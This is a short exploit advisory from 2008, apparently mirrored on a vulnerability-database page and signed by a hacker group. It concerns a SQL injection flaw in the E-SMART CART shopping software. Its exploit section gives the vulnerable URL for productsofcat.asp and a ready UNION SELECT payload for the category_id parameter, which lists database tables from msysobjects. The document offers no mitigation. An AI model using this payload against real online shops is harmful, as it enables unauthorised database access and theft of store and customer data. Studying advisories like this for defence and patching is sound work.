E-SMART CART (productsofcat.asp) Remote SQL Injection Vulnerability

🗓️ 14 Jun 2008 00:00:00Reported by RootType

E-SMART CART Remote SQL Injection Vulnerabilit


                                                --==+===================&nbsp;Spanish&nbsp;Hackers&nbsp;Team&nbsp;(www.spanish-hackers.com)&nbsp;=================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;E-SMART&nbsp;CART&nbsp;(productsofcat.asp)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+====================================================================================+==--
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;dreaming&nbsp;of&nbsp;necessity&nbsp;is&nbsp;reason&nbsp;to&nbsp;comply&nbsp;-


[+]&nbsp;Info:

[~]&nbsp;Bug&nbsp;found&nbsp;by&nbsp;JosS
[~]&nbsp;sys-project[at]hotmail.com
[~]&nbsp;http://www.spanish-hackers.com/
[~]&nbsp;EspSeC&nbsp;&amp;&nbsp;Hack0wn!.

[~]&nbsp;Software:&nbsp;E-SMART&nbsp;CART&nbsp;(payment)
[~]&nbsp;HomePage:&nbsp;http://www.preproject.com/
[~]&nbsp;Exploit:&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;[High]
[~]&nbsp;Vuln&nbsp;file:&nbsp;productsofcat.asp

[~]&nbsp;/store/productsofcat.asp?p=1&amp;category_id=[SQL]

[+]&nbsp;Exploit:

[~]&nbsp;http://localhost/PATH/store/productsofcat.asp?p=1&amp;category_id=[SQL]
[~]&nbsp;22+and+1=2+union+all+select+1,name,3,0+from+msysobjects

*&nbsp;In&nbsp;memory&nbsp;of&nbsp;rgod

--==+===================&nbsp;Spanish&nbsp;Hackers&nbsp;Team&nbsp;(www.spanish-hackers.com)&nbsp;=================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JosS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+====================================================================================+==--
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[+]&nbsp;[The&nbsp;End]

14 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1